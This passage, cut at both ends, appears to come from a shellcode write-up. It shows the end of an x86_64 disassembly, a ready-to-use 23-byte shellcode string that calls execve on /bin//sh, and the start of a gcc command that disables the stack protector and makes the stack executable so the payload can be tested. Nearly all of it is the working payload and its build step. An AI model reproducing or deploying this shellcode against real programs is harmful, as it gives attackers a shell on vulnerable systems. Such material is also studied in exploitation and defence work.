58 pop %rax 401014: 99 cltd 401015: 0f 05 syscall === 23 Bytes Shellcode === \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 === C Compilation And Test === gcc -fno-stack-protector -z execstack shellcode....